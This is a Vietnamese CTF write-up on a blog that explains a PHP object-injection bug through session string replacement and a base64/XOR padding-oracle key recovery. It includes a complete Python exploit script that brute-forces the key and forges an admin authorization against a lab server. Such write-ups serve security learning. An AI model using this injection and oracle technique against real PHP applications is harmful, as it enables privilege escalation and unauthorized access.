MTA CTF Writeup: Web 01

- Dạng bài: webapplication
- Điểm: 1000
- Kiến thức liên quan: PHP Object Injection, CVE-2017-9248, Xor, brute-force
Đề bài với 2 gựi ý từ ban tổ chức

Đề bài còn cung cấp file source.zip được để trong phần comment của source của file /index.php. File source.zip này  chứa toàn bộ mã nguồn của server. Chức năng của  trang web này khá cơ bản gồm trang chủ, đăng nhập, đăng ký. Mỗi khi đăng ký thì được cấp một session có trường authorize mặc định là guest. Để lấy được flag thì cần đổi gía trị của biến này thành admin.

    public function __construct($username, $password, $authorize=false) {
        $this->username = $username;
        $this->password = $password;
        $this->authorize = $authorize === false ? self::encrypt("guest") : self::encrypt($authorize);
    }
        echo "Xin chào $current_user->username. <a href=\"logout.php\">Đăng xuất</a><br>";
        if (User::decrypt($current_user->authorize) === "admin") echo $secret;

Mỗi khi đăng nhập người sử dụng được cấp một session, session này được sửa lại thành class mới class ZorkSessionHandler implements SessionHandlerInterface được lưu trong file session.php. Trong class này có quá trình đọc và ghi như sau

public function read($id) {
    $stmt = $this->db->prepare("SELECT * FROM sessions WHERE id=? LIMIT 1");
    $stmt->bind_param("s", $id);
    if (!$stmt->execute()) return "";
    $result = $stmt->get_result();
    if ($result->num_rows == 0) return "";
    $row = $result->fetch_row();
    $data = $row[2];
    $result->close();
    return str_replace("\\0\\0\\0", chr(0)."*".chr(0), $data);
}

public function write($id, $data) {
    $data = str_replace(chr(0)."*".chr(0), "\\0\\0\\0", $data);
    $stmt = $this->db->prepare("REPLACE INTO sessions VALUES (?, ?, ?)");
    $access = time();
    $stmt->bind_param("sis", $id, $access, $data);
    return $stmt->execute();
}

Data của user sẽ được serialize thành dạng string: O:4:”User”:3:{s:8:”username”;s:3:”aaa”;s:8:”password”;s:3:”aaa”;s:9:”authorize”;s:5:”12345″;}. Mỗi khi ghi vào database sẽ chuyển toàn bộ các ký tự NULL*NULL thành \0\0\0 và khi đọc ra sẽ đội ngược lại. Điều này dẫn tới bug injection (https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41). Về cơ bản thì khi đọc từ database ra, nếu gặp \0\0\0  sẽ chuyển thành NULL*NULL, từ 6 ký tự thành 3 ký tự  nếu inject một đoạn thích hợp thì hoàn có thể inject được trường dữ liệu vào object đó. User bị inject sẽ lưu ở trong session, sau  đó sẽ lấy từ session ra làm user bị thay đổi. Như trong đề bài User được lưu trữ thành O:4:”User”:3:{s:8:”username”;s:3:”aaa”;s:8:”password”;s:3:”aaa”;s:9:”authorize”;s:5:”12345″;}. Khi chuyển dùng username là \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 có 48 ký tự và password là  a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a. Sau quá trình ghi và đọc sẽ thành O:4:”User”:3:{s:8:”username”;s:48:”\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0″;s:8:”password”;s:58:”a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a”;s:9:”authorize”;s:5:”12345″;} Vì \0\0\0 sẽ chuyển thành N*N ( NULL*NULL) nên ghi lại thành O:4:”User”:3:{s:8:”username”;s:48:”NNNNNNNNNNNNNNNNNNNNNNNN”;s:8:”password”;s:58:”a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a”;s:9:”authorize”;s:5:”12345″;} và mà username cần 48 ký tự nên sẽ lấy sang phần sau cho đến phần dữ liệu của password. Cấu trúc sẽ thành O:4:”User”:3:{s:8:”username”;s:48:“NNNNNNNNNNNNNNNNNNNNNNNN”;s:8:”password”;s:58:”a”;s:8:”pass
word”;s:1:”a”;s:9:”authorize”;s:1:”1″;};s:1:”a”;s:9:”authorize”;s:5:”12345″;} ( Phần mầu đỏ là phần data của username). password và authorize mới được inject vào. Có thể viết rút gọn thành O:4:”User”:3:{s:8:”username”;s:48:“[48 ký tự]”;s:8:”password”;s:1:”a”;s:9:”authorize”;s:1:”1″;}. Từ đây hoàn toàn có thể thay đổi giá trị của authorize.

Nhưng có điều giá trị authorize đã bị mã hóa, việc thay đổi giá trị  trở nên khó khăn hơn.

    private function encrypt($raw) {
        include "config.php";

        $data = base64_encode($raw);
        for($i = 0; $i < strlen($data); $i++) 
            $data[$i] = chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
        $enc = base64_encode($data);
        return $enc;
    }

    public static function decrypt($enc) {
        include "config.php";
        
        $data = base64_decode($enc, true);
        if ($data === false) 
            die("Đại vương gọi ta đi tuần núi!");
        for($i = 0; $i < strlen($data); $i++) 
            $data[$i] = chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
        $raw = base64_decode($data, true);
        if ($raw === false) 
            die("Đại vương gọi ta đi tuần núi!");
        return $raw;
    }

Quá trình hóa và giải mã đều sử dụng base64 và xor. Cấu trúc như sau:

cipher  = base64_encode(xor(base64_encode(data), key))
data = base64_decode(xor(base64_decode(cipher), key))

Quá trình giải mã thì được bắt exception nếu không base64 thành công. Kỹ thuật break decrypt sẽ giống (https://yeuchimse.com/rce-in-telerik-ui-for-asp-net-ajax-cve-2017-9248/)

Về cơ bản thuật toán break sẽ như sau:

Cột bên trái là đầu vào, X là key, Cột thứ 2 là giá trị nhận được sau khi xor , Cột cuối là giá trị phản hồi ( dãy base64 hay không) (xanh là biết, vàng là không biết)

Với đầu vào là một ma trận gồm 255 hàng, mỗi hàng là một string, với mỗi hàng chỉ khác nhau ở 1 ký tự cùng cột. từng hàng của ma trận này sẽ được xor với ký tự X. kết quả trả về là ma trận mới. ta hoàn toàn không biết giá trị của ma trận mới này mà chỉ biết mỗi hàng có thoả mãn base64 hay không.  Với mỗi ma trận đầu vào, ta chỉ tìm được duy nhất một giá trị X thỏa mã kết quả đầu ra, Từ đó có thể tìm ra key X được ẩn đi.

Để biết được một dãy số chuyền bvào có thỏa mã để decodebase64 không thì cần một số trường hợp. sau (trong trường hợp server sử dụng php 7.0):
– Các ký tự là ascii_letters + digits + “+/=\x20\x0d\x0a\x09”
– Các ký tự “=” không được để nằm giữa các ký tự khác.
– Độ dài của một khối không nhất thiết phải là bội của 4.
– Riêng đối với dãy có 2 ký tự thì ký tự cuối không được là dấu bằng (=).
Từ những điều trên hoàn toàn xây dựng được code để bruteforce.
Cải tiến: Với mỗi bộ 255 chỉ cần 133 ký tự đầu là hoàn toàn có thể tìm ra được X.
Code exploit:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#chi ap dung php7.0
import string
import random
import requests
import base64
import uuid
url = "http://192.168.133.146/CTFMTA/&quot;
total_request = 0
def register(username, password):
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html;',
'Cookie': 'PHPSESSID=6mljc3dpohmnack8o6lgqhl1a3'
}
payload ={}
payload['username'] = username
payload['password'] = password
global total_request
total_request += 1
r = requests.post(url + 'register.php', headers = headers, data=payload)
if u'Đăng ký thành công.' in r.text:
return 1
assert 1== 2
return 0
def login(username, password, enprint = 0):
sessionid = 'PHPSESSID=' + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(26))
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'text/html',
'Cookie': sessionid
}
payload ={}
payload['username'] = username
payload['password'] = password
global total_request
r = requests.post(url + 'login.php', headers = headers, data=payload, allow_redirects=False)
total_request += 1
r = requests.get(url + 'index.php', headers = headers )
total_request += 1
if enprint == 1:
flag = r.text
flag = flag.split('<br>')[1];
vt = flag.find("}")
print "Flag: ", flag[:vt+1]
if u'Xin chào' in r.text:
k = requests.get(url + 'logout.php', headers = headers )
total_request += 1
if (u'Đại vương gọi ta đi tuần núi!' in r.text):
return 2
return 1
assert 1==2
return 0
def exploit(s, enprint = 0):
res = 0
s = base64.b64encode(s)
username = '\\0'*24
password = 'a";s:8:"password";s:1:"a";s:9:"authorize";s:{}:"{}";}};s:1:"a'.format(len(s),s)
while (res == 0):
username_temp = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(20)) + username
res = register(username_temp, password)
username = username_temp
if (enprint == 1):
print "[Exploit] username, password: ", username, password
return login(username, password, enprint)
def find_char(ans, sl = 4):
res = 2
while (res != 1 ):
temp = ''.join(chr(random.randint(0, 255)) for _ in range(sl))
res = exploit(ans + temp);
assert res != 0
return temp
#cau truc O user = O:4:"User":3:{s:8:"username";s:3:"aaa";s:8:"password";s:3:"aaa";s:9:"authorize";s:5:"12345";}
#cau truc O userinject
# 'O:4:"User":3:{s:8:"username";s:25:"a";s:8:"password";s:10:"a";s:8:"password";s:1:"a";s:9:"authorize";s:5:"12345";};s:1:"a"};s:9:"authorize";s:5:"12345"}';
##==========================================================================
STRING_OF_KEY = ""
LIB_OF_XOR_BASE64 = [];
LIB_OF_XOR_BASE64_NOT_1 = [];
def super_xor(a, b):
ans = ""
for i in range(len(a)):
ans += chr(ord(a[i]) ^ ord(b[i % len(b)]));
return ans
def generator(size_of_key, string_of_base64, length_brute):
ans = []
for i in range(size_of_key):
ans.append(0);
for j in range(length_brute):
ans[-1]*=2;
if (chr(i^j) in string_of_base64):
ans[-1]+=1;
return ans
def getkey():
SIZE_OF_KEY = 256;
length_brute = 140;
# khong gian khoa cua key
# 128 chi can khong gian 77
# 256 chi can khong gian 133
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1
STRING_OF_BASE64 = string.ascii_letters + string.digits + "+/=\x20\x0d\x0a\x09"
LIB_OF_XOR_BASE64 = generator(SIZE_OF_KEY,STRING_OF_BASE64, length_brute)
# tao ra mang hang cac truong hop co the sinh ra khi xor key voi khong quan khoa
STRING_OF_BASE64_NOT_1 = string.ascii_letters + string.digits + "+/\x20\x0d\x0a\x09"
LIB_OF_XOR_BASE64_NOT_1 = generator(SIZE_OF_KEY,STRING_OF_BASE64_NOT_1, length_brute)
STRING_OF_KEY = "".join(chr(i) for i in range(SIZE_OF_KEY))
return length_brute
def bruteforce_key(length_key, length_brute):
global STRING_OF_KEY, LIB_OF_XOR_BASE64, LIB_OF_XOR_BASE64_NOT_1
ans_xor = "";
ans = "";
for i in range(length_key):
print "Find ", i
idnumber = 0;
for ch in STRING_OF_KEY[:length_brute]:
idnumber *= 2;
stringtest = ans_xor + ch
ck = exploit(stringtest)
if ck == 1:
idnumber += 1
#theo version php 7.0
if (i%4 != 1):
ans_char = LIB_OF_XOR_BASE64.index(idnumber)
else:
ans_char = LIB_OF_XOR_BASE64_NOT_1.index(idnumber)
print "OK: ", chr(ans_char).encode('hex'), total_request
ans += chr(ans_char)
ans_xor += chr(ans_char^ord('a'))
print "[KEY] ", ans.encode('hex')
payload = super_xor(base64.b64encode("admin"), ans);
print "[KEY INJECT] " , payload
exploit(payload, 1)
def bypass_xor():
length_brute = getkey()
print "generater ok"
bruteforce_key(8, length_brute);
if __name__ == '__main__':
bypass_xor();
view raw exploit_web01.py hosted with ❤ by GitHub

Tài liệu tham khảo:
https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
https://yeuchimse.com/rce-in-telerik-ui-for-asp-net-ajax-cve-2017-9248/

Trả lời

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.